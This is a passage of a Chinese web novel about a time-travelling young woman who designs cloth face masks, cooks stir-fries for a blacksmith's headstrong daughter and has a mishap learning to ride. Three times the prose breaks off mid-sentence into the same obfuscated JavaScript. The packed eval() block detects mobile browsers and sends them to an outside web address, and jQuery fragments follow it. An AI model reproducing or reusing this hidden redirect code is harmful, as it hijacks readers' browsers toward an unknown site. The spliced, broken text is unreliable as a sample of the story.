李修阙侧头看见韩晟只是对着来人微笑地点点头，暗道一句“铁公鸡”后，热情地接过县民递过来的果篮，拿了一个后又还回去，和煦地笑着问他们最近过得好不好，吃穿上有没有困难，并鼓励他们在此好好生活。 送走了那对父子后，韩晟看他吃得津津有味的样子，无奈道：“年年如此，你不累吗？” 李修阙笑了笑，看着街道上热闹的大年氛围，把一个小女孩手中的全部草扎手串买了下来，双手撑在脑勺后道：“你每天守着他们，殚精竭虑地为他们谋福祉，把这么个烂地方硬生生变成人们安居乐业的福地，都从未喊过累，我不过是出点钱，怎么会累呢。” 韩晟本想趁此说教回去，没想到又被他的给话噎住了，自嘲地叹了口气后摇了摇头，也不再多说什么了。 绕过繁华地块，走到安置难民的施粥棚处，看着还有许多刚搬进来不久或今天才抵达的流民老幼相偕、大包小包的在排着队，李修阙走上前去让正在派发衣物的黑鹰先带老弱病残下去安置，自己则顶了他的位置，韩晟便很自然地自个到后院中歇息。 看着每个人领了稀粥和仅可蔽体的衣物后，那千恩万谢、头如捣蒜的模样，他心里虽然有帮助了他人的开心，但更多的仍旧是无能为力的惆怅。 自己能发现并救出来的流民不过沧海一粟，中原之大，那些没能得到救助的人呢？ 日上中天，才派发到一半，队伍里突然乱哄哄地传来了哭闹叫骂声，李修阙走过去查探究竟，只见一个方领完粥的小姑娘，跪在一位奄奄一息的老妇人跟前，对着身前的一个五大三粗的男人不断磕头，哭道： “这位大哥，求求您了，我奶奶生病了，着急要喝这碗粥，您就还给我吧。” 男人呸了一声，往她跪着的地上吐了一口痰，轻蔑道：“县令贴发了公告，每人每日只能领一碗粥，你凭什么可以领两碗？你这老奶吃不吃都是快死的烂骨头了，还不如留给更有需要的人，她要真想吃的话便让她自己爬起来领。” 围观群众们顿时哗然，一会可怜小姑娘，一会又觉得男人说得有道理，但因更慑于他强壮的体格，以及干净的形象并不似流民，全都不敢说话。 李修阙气得腾腾上前，夺过男人手中的粥，递给小女孩，让她扶着老人到一边去吃后，怒问：“你既来领粥，必然也是苦困之人，为何要以如此咄咄之言逼迫一老一幼？” 男人因这几日赌钱，输了个屁股蛋子光溜溜朝天，被家中的婆娘大骂着赶了出来，去青楼里找姘头要钱也要不到，腹中饥饿之下，今日是第一次来领粥，故而还没见过李修阙。 上下打量了一番，观他还只是个乳臭未干的小屁孩，不屑道：“关你何事，难道我说的没道理吗？你看他们这群贱民全都不敢冒头，就你这毛都没长齐的屁娃娃会逞能。” 李修阙袖中的拳头捏得紧紧的，只要他一拳下去，这男人保准得在床上躺上好几天，但看着那一群因信任自己而来的流民，又要努力保持形象，不好直接开揍，愤然道：“粥棚既然愿意施粥给她，那她定然是没有违反规则的，她领多一碗粥又碍着你事了吗？” 男人哈哈大笑，无所畏惧道：“就是碍着我事了，怎的？看你一身富贵，也不问问你爷爷我是何人，有本事你把县令大人请过来啊，让他来给我说说理，若是把我们这群本地居民给得罪了，把他无偿收留流民的事报到皇宫去，看他是官帽先落地，还是人头先落地！” 听到这话，适才捧着粥走到角落里的小姑娘，害怕地跑过来扯了扯李修阙的裤腿，让他不要再帮自己说话了，还不停地给男人磕头道歉。 气得不轻的李修阙闻言突然愣住了，他似乎从来没有想过这个问题。 他只知道韩晟是个好人，而自己想拯救流民，所以便把流民迁移了过来。他根本没想过此举会挤压到原居民的生存条件，也没想过流民在这里是否会受到欺辱，更没想到不是每个人都是富有正义怜悯之心的，甚至也忘了韩大哥是朝廷命官，一旦犯错，全家遭殃。 男人看到他语塞充楞的模样，又得意忘形地大笑起来，把还在磕头的小姑娘踹飞，晦气道：“滚吧，你这种小浪蹄子，都不配为爷爷我提鞋，看着就来气。” 他心情愉悦地插到队伍的前排，正哼着小曲呢，只听身后冷不丁传来一道肃穆威严的声音：“王二狗，听闻你找本县令？” …… 气急攻心之下，李修阙浑身高热地躺在韩晟家客房的床上，看着韩晟豪不嫌弃地亲自给自己喂药，他沮丧道：“韩大哥，我此举是不是陷你于油烹火燎之地了，你为何从来都不与我说此中难事？” 韩晟见他乖乖的喝完了药，将药碗放在桌上，扶他躺好，帮他掖了掖被子道：“为官一日，便早已注定难能独善其身。可是我当初辛苦读书，倾家荡产的考取功名，便是想着有朝一日可以造福一方，使大庇天下寒士俱欢颜。人活着，可以为忠为义，也可为情为爱，但更应为了自己为人的良心。” 李修阙叹了一口气道：“可是小弟此举就是不忠不义了，我光想着你能收留我救下的流民，却没想过你家中还有妻儿老小。” 韩晟笑了笑，拍了拍他的肩，宽慰道：“王二狗的事只是一个小插曲，以我的性子，能当得了那么多年的地方官，定然是有些治人的雷霆手段的，你别想太多，好好养病。” 说罢，衙门里的书办走进来附耳对他说了什么，他眼神稍凝了一瞬，便告辞出去了。 李修阙看着他迎着霞光的背影，忧心地喊了一声：“韩大哥……” 韩晟回头对他笑道：“但行好事，莫问前程。” - 湖山县里，尚怀真在林映玉的床前守了一天一夜，见她还没醒来，实在忍不住趴着床沿边上睡着了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650624|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在沉睡着的林映玉皱紧了眉头，此时她在梦中拼命地奔跑着，脑海里闪过无数的画面，有小时候偷吃果子怕被父亲发现时的兴奋，有陪在姑母娘亲身边聊着闺中趣事的幸福，也有长大后看着尚怀真音容笑貌的开心，但最终还是停留在了父亲离去的那天。 那道背影不远不近地守护着她，她不断追着，跌倒又爬起，疯狂地叫着爹爹，却自始自终都看不见他的脸，也无法触碰…… 睡得不深的尚怀真感觉到她的手指微微动了，还颤抖地摇头发出呜咽声，一下子被惊醒，见她泪流满面好似陷入了梦魇中，连忙在她耳边急切呼唤她。 林映玉痛苦地从梦中醒来，看到尚怀真的大脸近在咫尺，被吓得差点又晕了过去。 尚怀真见她醒了，用手背贴着她的额头，发现没有发烧后，才松了一口气，笑道：“还好没发热，可担心死我了，那天那些人太可恶了，竟然敢当街劫人，还好有热心人把你给救回来了。” 林映玉刚醒来就听到她在那滔滔不绝，脑子里嗡嗡的还没反应过来，看着她两道快掉到下巴处的黑眼圈，清朗的面容十分憔悴，不禁一愣，问道：“怀真？我睡了多久了？” “两天了。你现在有感觉到哪里不舒服吗？”尚怀真忙给她倒了一杯热水，想上手喂她。 林映玉感激地摆摆手，脸红着接过，又问：“是何人把我救回来的？” 尚怀真疑惑地摇摇头，也奇怪道：“你也不知道吗？前天天将亮时，有人敲响了我的房门，我打开就见你躺在地上，却不见神秘人的踪影。那夜你被谁掳走了？他们没伤害你吧？” 林映玉回想起在世子府里的遭遇，觉得她知道后很可能会有报复行为而招来杀身之祸，还是不要告诉她为好，便说受了惊吓不太记得了。看见自己正躺在她的床上，羞臊得就想要爬起来。 尚怀真把她按了下去，给她盖好被子，强硬地说道：“刚醒来不可操劳，况且还受到如此大的惊吓，你今儿就在这里乖乖躺着，我去煮碗白粥给你，吃了你再起来活动。” 林映玉把脸埋在被子里，只露出一双眼睛，闻着被褥中的清新香气，竟有一丝安神的作用，便乖巧地点了点头。 给林映玉煮好白粥强制喂下后，看着她复又睡下后的舒展睡颜，尚怀真才轻轻地掩门走了出去。 刚把碗放进厨房，尚广明便来叫住了她。 “这几夜的事我都知道了。” 尚怀真坐在他房中，不知道他想表达什么，一头雾水地默默等待后话。 “近几年当今都会派人在民间寻觅容貌出众的女子以充后宫，且这些女子还要在二八年华之间。但这些幸被相中的女子，送入宫里后，没几人能活过三年。” 尚怀真惊讶道：“所以映玉是被京里来的人盯上了？” 尚广明点点头，见她只是心有戚戚，并怒斥当今的骄奢淫逸，复又问道：“我先前与你提议的事，你考虑得如何？” “啊？何事？”话题转变得太快，尚怀真一时半会还真想不起来。 “学武术。”尚广明依旧是言简意骇。 尚怀真张了张口，欲言又止，一时不知该做何抉择。 她原本一心只想快点完成任务回到现代，没有那么多精力去研究别的，可能还会因此被卷入到不同的利益中，导致绊住她的脚程。但想到了林映玉那晚帮自己挡危险时毫不犹豫的样子，她还是动摇了。 如果连身边人都护不住，还能护得住自己吗？ 她想了想，仔细问道：“您能教我什么？我只会一些拳脚功夫，刀枪棍棒全都一窍不通，而且精力也主要放在经营面馆和客栈上，不一定能坚持得下来。” 尚广明笑了笑：“世上之事，但求有心。” 30. 选武器（一） 去村里给族长拜完年回来后，尚怀真就开始了她脚不沾地的生活了。 鉴于害怕林映玉在皇帝还没选出美人前再次被有心人盯上，却又拗不过她想到前方帮自己一起经营生意的恳求，便想出了平时佩戴口罩出门的方法。毕竟面纱还是太容易被风吹飞了，而且包住下巴、露出双颊的口罩不仅透气，还能让自己手里做出来的吃食让人看着更干净卫生。 考虑到长时间佩戴的透气性，尚怀真找了两张针脚比较粗且相交处能看到明显空隙的麻布，比照在林映玉的脸上剪下两片布料后，怕她的脸太小，对于普通人没有参考意义，又跑到尚广明的房里，比着再剪下了两块，竟惊奇地发现他俩的脸型还挺像，都是尖尖小小的。 果然好看的人总有相似之处。 把剪好的布料拿给孟奶奶，指导她将上下两个对应着嘴巴和鼻子位置的折角缝合，想到自己之前用的那个粗糙难受的月事条，觉得粗麻触碰着脸部娇嫩的肌肤，大概率也是不舒服的，便让林映玉再去找了几条纱巾来，一会可以包住上下骨端并做挂耳。 因为没有缝纫机，所以做起来还是花了一些时间，但所幸这只是个需要缝合的小物件，在几人的帮助下，孟奶奶很快也做好了。 尚怀真催促着林映玉赶紧戴上试试感觉如何之时，尚广明正好走了进来。 “这便是你所说的‘口罩’？戴着倒是小巧舒适，你是如何想出来的？”他点头示意林氏姐妹不必拘束后，坐下将另外一个戴上，在脸上调整拉扯着位置，好奇问道。 尚怀真眼睛轱辘了一圈，嘻嘻一笑道：“这不是想着映玉美得太出众了嘛，但是面纱既长，遮挡力又不好，走路稍微快一些可能都会被带起的风吹掉，我就想着弄一个能裹住下巴的巾罩，这样只要不是刻意去拉，不管怎么跑怎么跳都不会掉啦。因为只是小小一片，仅能罩住口鼻，所以我就将其命名为‘口罩’。” 她想叫林映玉跑跳着示范一下，但见她一脸为难拒绝的模样，只能自己拿东西夸张点比着动作，随后期待地问道：“你们戴上后感觉如何？” 林映玉将自己那个小口罩摘下给林映瑶试戴，看着她口鼻被遮盖住却露出脸颊的模样，总觉得很是滑稽，有点不好意思地道：“怀真，戴着这个真的不怪异吗？” 尚怀真左看看右看看，除了麻布的颜色不太好看外，其他地方感觉都非常好，摇了摇头道：“不会啊，这不是挺可爱的嘛。戴上不仅能遮挡住脸，还不会让熟悉的人认不出你来。” 尚广明也把口罩摘了下来，拿在手上翻看着，赞许道：“确实不错，很适合食店与医馆的店家使用，而且针脚也简单，得闲时可以多制作一些往外售卖。” 尚怀真闻言，摩挲着下巴兴奋地点点头，自得的笑道：“就是不知道人们的接受度如何，先做十个看看有没商机吧。” 随后她对着孟奶奶道：“就按着父亲这个‘口罩’的尺寸，阿奶，要辛苦您啦。” 孟奶奶忙高兴地应下：“不辛苦，不辛苦。” 人一旦年纪大了，总希望着还能发挥余热帮一帮孩子们，而不是被视作累赘一般被供养起来。 解决完这件事，正想出去玩呢，尚怀真就被尚广明叫住了，说要带她去选趁手的武器。 尚怀真简直欲哭无泪，昨晚才歇歇停停地蹲了半个时辰的马步，她的小命都快要没掉半条了，想说放弃的时候看到尚广明那严肃板正的脸，又无比怂逼得憋了回去。哪有人刚下定决心，转眼就要放弃的？连三分钟热度都坚持不到。 “噢！那个人就是我。”回头躺在床上，揉着发酸的盆骨和小腿，她如是想。 原本心心念念想学帅气潇洒的剑术，要不然选个方便隐藏的长鞭或者暗器也行，但没想到这位便宜老爹说自己身上有一股蛮力，更适合用刀。据理力争后，就被他一句：“选对武器和方法，练习起来方能事半功倍。”的说辞给怼了回来。好呗，那能咋办呢？徒弟还能拂过师傅的意不成？ 无奈之下，她也只能无奈了一下。 不过惊讶的是，连基础功都没练好，甚至还没有能坚持下去的苗头，他居然这么快就要带自己去选武器了。 反正也没坏处。不作多想，乖巧地点了点头，在林映玉抓着她的袖子，小声说了句谢谢下，她就跟着尚广明走出去了。 - 出了城门，撞入眼帘的便是土地上逐渐复苏的绿意，仍旧光秃秃的树干上，甚至还有村民们自发挂上的灯笼，与刚冒出来的嫩叶相伴，显得凄清又可爱。走出主干道，城外郭的南边还有一条护城河，其内湍急的水流似乎并没有受到寒冬的影响，就这么汹涌澎湃地漫出，轻轻拍打着四周的田地。 尚广明在前面赶着从王婆那借回来的牛车，尚怀真躺在后面的木板上，身边偶有一两道趁墟客的脚步与谈话声，静谧的空气让她只觉微风不燥，阳光甚好。 沿着河流往下游处走了十数里地，约莫过去了一个时辰，在晃晃悠悠的牛车上快要睡着的尚怀真突然被叫醒，揉了揉惺忪的眼睛，打眼望去，她们正往河道分流口北边的一座村子的方向驶去，其村口处有一面石碑，写着“祝泷村”。 从村里出来汲水的人似乎都认识尚广明，纷纷跟他打着招呼。 尚怀真不明就里，昨天回的‘老家’也不是这里啊？ 和尚广明走进村子里的不远处，有一个占地不大的院子旁建有一架水车，抵达那里后，但见他将牛车在院子后边有草地的树干上系好，敲响了院中屋子的门。 “谁呀？这大晌午的。”不多时，开门的是一个与自己现在年龄相仿的女孩，此时她拿着一口正在炒菜的颠锅，不耐烦地从里间走了出来。 还不待门外的人说话，她在看清来人后，就激动地跳了起来，连忙把人往里请道：“呀！是尚叔叔，您快进来！” 尚怀真看着她手里的那口锅，真怕里面的东西随着她这一跳全都倒洒出来，便出言提醒了一句小心。 女孩这才留意到她，侧头看了她一眼，扁了扁嘴对尚广明说：“您上次让我做的那口铁锅，就是给这个小屁孩的吧？” 尚怀真无语，也学着她的样子扁了扁嘴，瞅了一眼回去。你自己不也是个小屁孩吗，还管别人叫小屁孩，姐的实际年龄可比你大了有一轮！ 不过入屋叫人，入庙拜神，她还是在尚广明的引导下礼貌地称呼了她一声擒云姐姐。 祝擒云受用地点了点头，将铁锅伸到她面前，居高临下地道：“诺，刚炒好你们就来了，要不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687490|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝尝？” 尚怀真被她乐到了，这小人儿还没自己高呢，仰着头都还能用鼻孔看人，真乃一大奇观。忍俊不禁道：“一会等我拜见了尹伯伯后再一同享用吧。” 祝擒云觑了她一眼，又看了一眼尚广明，直接拿着铁锅转头就走，指了指一个水井旁的房间道：“切，一大一小都这么无趣，爹爹还在锻铁，你们自己过去罢。” 好笑地摇了摇头，跟在尚广明身后，与长得刚毅健硕的祝伯伯见了礼，尚怀真打量着这又暗又小的房子，真可谓是内含乾坤，刀枪剑戟、矛箭弓盾，各式各样的武器应有尽有。 她不禁好奇道：“父亲，祝伯伯，民间是可以私下制作兵器的吗？” 正在谈话的两人闻言瞬间安静了下来，祝立伟皱眉看着尚广明，见他点了点头，展眉笑道：“不对外售卖就无事，贤侄大老远奔波过来，定然饿坏了罢，小女炒得一手好菜，我们先去用膳吧。” 尚怀真本身也就随口一问，听到后也没觉得不合理，只是多看了墙上一把亮银色的长枪两眼，就率先出去了。 饭桌上，她没有见到祝立伟一家别的女眷，倒是见到了一身男装打扮的祝擒云，奇怪地看着她，哦着嘴不知该问不该问。 祝擒云瞪了她一眼，不爽道：“看什么看，没见过像本小姐这般穿着男装依旧花容月貌的女子吗？” 晕倒！尚怀真心道：“无语是我的母语。”。尴尬地笑了笑，复又看向桌上的四菜一汤。 青瓜炒蛋、白菜炒猪肉……竟然全都是炒菜。因为油不够多，色泽看着有点干，但却不影响那吸引人的卖相。 祝擒云看着她惊讶的神情，得意地笑道：“如何，你还是第一次见这样的菜吧？” 一旁的祝立伟见尚怀真从入席后到现在都是语塞的模样，兀自爽然大笑解答：“贤侄不必拘谨，小女自小便跟在你伯父我身边较多，故而喜性多似男子，嘴边常言巾帼不输须眉，所有只许男子参加的赛事，都想去争一杯羹，所以亦常以男装示人，这些炒菜也是她为了能参与厨王争霸而作的练习。” 尚怀真了然地点点头，比着大拇指赞道：“果然是虎父无犬女，擒云姐姐这桌子菜做得就令人难以移目了，其他技艺定也不俗。” 祝擒云冷不丁被夸赞了一番，一时间还不知道说什么好了，傲气的头低下来多看了她两眼，依旧梗着脖子道：“听尚叔叔说，你还不会骑马对吧，我恰好得了一头新的小白驹，一会吃罢饭，到后头教你。” 尚怀真本想拒绝考取这除了耍帅，没有半点舒适可言的驾驶证，但想到正常人在当事人没提出的情况下，不可能无缘无故说要教自己什么东西，应该是两位大叔有要事相商，故而暗示祝擒云来支开她的。 思及此，她看向尚广明，见他点点头，只好勉为其难地答应了下来。 谈话已毕，将筷子伸向那道白菜炒猪肉。其中白菜软趴趴的有些火候过老，送入口中后便直接化开，没有品到其应有的清甜味，然而肥瘦相间的猪肉却相反，肥肉部分脆而不腻，瘦肉部分爽口不柴，嚼起来极有韧劲，虽不曾用到多少调味，但瘦肉原带的咸腥被白菜冲淡，做到了清淡开胃。 照例夸赞了一句后问道：“你这道菜是直接混在一起炒熟的吗？” 31. 选武器（二） 席上被风卷残云之后，见两位老爷拍开了一坛酒，欲要把酒言欢，祝擒云就眼尖地拉起还捧着碗的尚怀真，不给她一丝拒绝的机会，二话不说往外走。 尚怀真被她这一举动弄得差点四脚朝天，还没反应过来呢，转眼又被尚广明给拦住了。 只听他对祝擒云道：“云姑娘，可否让尚叔先与你真弟交代几句话？” 祝擒云只好乖巧地哦了一声，又压低了声音，恶狠狠地对在自己松开手后，就跌坐下去，这会正一脸憋屈地揉着屁股的尚怀真道：“好了就赶紧出来，我在门外等你。” 没一会，接受了尚广明传达的信息后，尚怀真也识趣的走了出去。 坐在门外游廊上无聊荡着腿的祝擒云看到她出来，立马飞快地过去又拉住她，带她往自己的小厨房方向走，满脸不服气道：“听你说得很有见解的样子，你也来炒一份菜给我尝尝罢。” 尚怀真见她风风火火地拉着自己径直往外客止步的后院走去，不禁扶额苦笑，这位真是大小姐哟。 来到小厨房后，里间的丫鬟婆子们见自家小姐领着个陌生男子回来，全都吓了一跳，连忙行礼后上前询问。 祝擒云摆了摆手，随意介绍了一句，让她们不必避讳，留下来帮忙即可，自己便坐在了丫鬟搬来的躺椅上，对尚怀真道：“诺，这里什么都有，桌上的物件随你用，柴火也可以让我的婆子帮你烧，你赶紧炒菜吧。” “那就辛苦各位婆婆和姑娘了。”尚怀真闻言，友善地对着厨房里的另外三个人点点头，见她们都迅速低下头不说话后，才打量起四周的构造。 中间是一方煨汤的高架，北边靠墙处有两个烧菜的大灶台，其右手边还有三个可供煮饭蒸烤的小灶，左手边则是一应锅碗瓢盆，上面各种形状各类大小的鼎鬲锅釜都有，那口自己以为极难买到的铁锅居然还有小中大三个尺寸。 有钱真好啊！不仅能请保姆下人，还能拥有自己的大厨房！而且在这么个穷乡僻壤却依山傍水的地方，有这么座小院庄园，真可以说是住在世外桃源了！总有人出生就在罗马，尚怀真不禁感慨。这一比对之下，简直羡慕得她眼珠子都快要掉出来了。 祝擒云见她左看右看后盯着锅勺在发呆，又将她催促了一遍。 尚怀真回过神来，拿起其中一只最小的却比自己家里那把小不点还要大上一号的铁锅，觉得重量很是压手，下意识看向祝擒云那连少年男装都撑不太起来的小身板，被她瞪了一眼后，毫不客气地又挑选并拿过婆子们已经备好的香菇和鸡肉丁，用适量的盐生抽胡椒等配合淀粉一起将鸡肉腌制好。 再将葱姜蒜末与香菇切成小条后，往凉锅中倒入厚油，让婆子生起大火，油烧至微微冒烟时，下入刚刚腌制好的鸡肉，翻炒一下使每片都能饱饱喝上那微热的油，不多时，白肉变嫩黄，马上捞出备用，菜碟上那嫩弹流油的鸡肉让斜靠在躺椅上的祝擒云双眼放光，立马坐了起来。 随后往被鸡肉调戏了一番后还在兴奋跳着舞的热油里，直接放入葱姜蒜将炒锅炝香，在噼哩啪啦中倒入片状香菇，翻炒一分钟，锅内四香相辅，瞬间满屋盈香。趁着伸手拿下一步要回锅的鸡肉的间隙，尚怀真看到祝擒云走到了自己身边。 没理会她，复又在四香中下入过了一遍油的鸡肉，一同翻炒至鸡肉变得紧实，加入生抽和盐调味，糖提鲜，翻拌均匀，全程大火收汁后出锅，鸡肉与香菇上都挂着满满的亮油，菜碟上却没有过多的汤汁，看着就香润可口，蠢蠢欲动的祝擒云已经让丫鬟拿来筷子站在一旁候着了。 尚怀真甫一转身，手上的香菇滑鸡就被她抢了过去。刚想提醒一句小心烫，她就已经在龇牙咧嘴了。 无奈地笑道：“你也太心急了吧，舌尖一旦受到过烫的刺激，会自发保护而使尝不出菜品的滋味的。” 祝擒云将香菇滑鸡递给婆子，让她们一起将其吹凉，自己则伸着舌头在用双手扇着风，闻言道：“你这菜做得太香了，不过最后一步不也和我一样一锅炒吗，前面先分别将不同食材炒熟后再混一起，差别便能这么大？” 尚怀真不置可否，好笑地看着丫鬟婆子们努力吞咽着口水的模样，夹了一口她们摆上桌子，已经没那么烫的香菇滑鸡。送入口中，香菇微甜，加了胡椒粉的鸡肉微辣，穿了一层保嫩油衣的口感很是爽滑，真可谓是名不虚传的配饭小能手，可惜现在没有米饭了，单吃还是腻了些。 “快回答我呀。”祝擒云吃得喜笑颜开，甚至还陪她一起站着，见她没说话，用手肘顶了顶她道。 尚怀真听到系统的声音又叮咚作响，心情好了起来，将自己刚用的那双筷子拿去冲洗后，笑了笑道：“每种食材都不一样，鸡肉和香菇都求嫩，香菇主要以其特殊的甜味以助鸡肉炒香，然鸡肉易熟而香菇需要煸炒断生，若混一起一锅熟，极易使鸡肉变得又老又柴，失了锁住油分的能力，便失了口感。” 见对方受教地点了点头，眼睛完全离不开那道香菇滑鸡，又道：“而你今日那道白菜炒猪肉亦同理，炒熟猪肉比白菜需要的时间更多，为求白菜不会被炒糊烂，自然也应分开。” 祝擒云将吧唧到嘴角的油擦净，鼓掌笑道：“果然还是爹爹说得有道理，人不可貌相，海水不可斗量，今夜晚膳我就试试你这个方法，你得来帮我。” 说罢她吩咐丫鬟将这碟还剩下大半的香菇滑鸡装进食盒里，拿去给她的祖母和娘亲们也尝尝，自己则拉起尚怀真的手腕就往外走，施舍般道：“原本我还想让你直接上马自己跑呢，看你教会了我做菜的份上，我就先牵着你溜两圈吧。” “？”怎么听着像成了一条小狗？ 不仅吩咐人有一套，‘奖励’起人来也很有一套啊，这小丫头的力气和脾性咋都这么大呢？ 目送了她俩离开后的丫鬟婆子们，盯着那道香菇滑鸡垂涎许久，对视了一眼后，不约而同地点头，悄悄分出一点，将剩下的装好，就迫不及待地蹲在角落里用手指捻着吃了。 其中一个年纪比较小的丫鬟眼含激动又惆怅的热泪，只觉这是什么神仙美食啊，红着眼向婆子问道：“黄嬷嬷，城里人一向都吃得这么好吗？” 黄嬷嬷意犹未尽地将更多的肉分给两个小姑娘，笑道：“城里好吃的可多了，你俩要努力往上爬，晋升到二小姐身边服侍，以后就能随着她往城里去了。这个小郎君的手艺在老身吃过的众多美食里，可以说是位列前茅的，但是也并算不得十分出彩，想当年，有幸得老夫人恩赐，品尝过从京里带回来的一门点心，那味道，直至今日，我都难以忘怀啊，外皮酥酥脆脆，内夹牛乳……” 两个小丫鬟看着她享受追忆的表情，听得一愣一愣的，都憧憬地想象起黄嬷嬷口中的美食是何模样，过了好一会，才慌慌张张地记起还要去给老夫人送手上这道菜。 - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708267|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从侧门出来，便到了尚怀真她们绑牛车的地方，沿着室外的风雨走廊再往北边走去，穿过给雇佣的佃农们居住的耳房，高墙之外竟还有一个演武场，演武场边上架有一排马棚，马棚内有四匹马，正低着头在吃身前的草料。 祝擒云远远指了指一匹明显比另外几匹马矮小上一截的白马，对尚怀真道：“这匹小白驹是大年前别人送给爹爹的一匹温顺良马，回来到现在都还只是在棚里养着，连名字也没有，本是想留给我娘肚里尚未出生的弟弟的，恰好你来了，便让你先骑着开开蹄吧。” 尚怀真看着那些高大的马匹，虽然不太想骑，但是真的很帅啊，以前在景区好不容易才能见到一只，今天不仅能免费体验，还能随便挑选，说不兴奋是假的。跟着祝擒云走到马棚处，学着她的样子，害怕地轻轻抚摸着小白马额前的鬓毛，心里紧张得突突直跳。 只见小白马看了她一会，仰头嚎叫了一声后，就半跪似的乖顺地蹭着她的手掌，让她受宠若惊。 祝擒云被这一幕惊讶得双眼猛然睁大，引导着她将小白驹牵出来道：“自古这些聪慧灵性的生灵都有自己的喜恶，十分认主，你倒是和它有缘，且骑上去试试看。” 虽说这匹小马比那些大马小了一圈，但还是比她的腿高出许多，尚怀真在左边脚蹬试了几次，又到右边脚蹬处也试了几次，始终爬不上去，看着祝擒云越来越黑的脸，无奈道：“好姐姐，我是真的不会啊。” 祝擒云忍了又忍，嘴唇都快要被自己咬破了，最后气得‘啪嗒’一下坐到马背上，把手伸给她道：“蠢死了，真没见过像你这么蠢的人，你牵着我的手，我拉你一把，你自己感受下如何用力。” 尚怀真委屈又窝囊地点点头，在她的帮助下再尝试了几次，终于找到了自己能爬上马的方法，开心道：“谢谢你，擒云。你人真好，我学会啦。” 已经站在马下看着的祝擒云压住了想笑又不敢笑的嘴角，依旧怒瞪了她一眼，在前头牵着缰绳慢慢走着，语气平缓了许多，说道：“没见过你这样的大傻子。我牵着马慢慢带你走两圈，你自己调整好合适的坐姿，找到平衡，一会就让你自己来操纵了。” 她们沿着演武场才走了半圈，突然一个十岁出头，在和自己的小厮玩着你追我赶游戏的男孩跑了过来，见到两人的模样，直接笑了个前仰后合，指着祝擒云道：“哇！二姐，你这又是从哪里找回来的野男人，每天都不重样啊，这个还沦落到要你给他牵缰绳，笑死我了哈哈哈，我要去告诉祖母听。” 祝擒云闻言又羞又怒，一把甩掉手中的缰绳，红着脸气汹汹地走到小男孩的跟前，拎着他的衣领，将他整个人提起来，在他耳边大声道：“你这个妾生的小杂碎，嘴巴总是这么臭，我看你是没好好挨过我的打。” 小男孩被她这一举动吓哭了，悬在空中拼了命地拳打脚踢，大叫道：“你这个坏女人放开我，放开我，我是家里唯一的男丁，我要去告诉祖母，让你不得好死！” 这边的小男孩一直哭骂，那边趴在马背上的尚怀真也啊啊叫个不停，她身下受了惊的小白马不受控地四处奔跑着，让一向爱看八卦的她根本无暇吃这场姐弟大战的瓜，只能一边努力地安抚着小白马，一边紧紧抓着马鞍，心里有苦难言。 “你们俩吵架不要祸及我行不行啊！谁来救救我这个可怜无助又弱小，还不会骑马的人间小太阳啊？”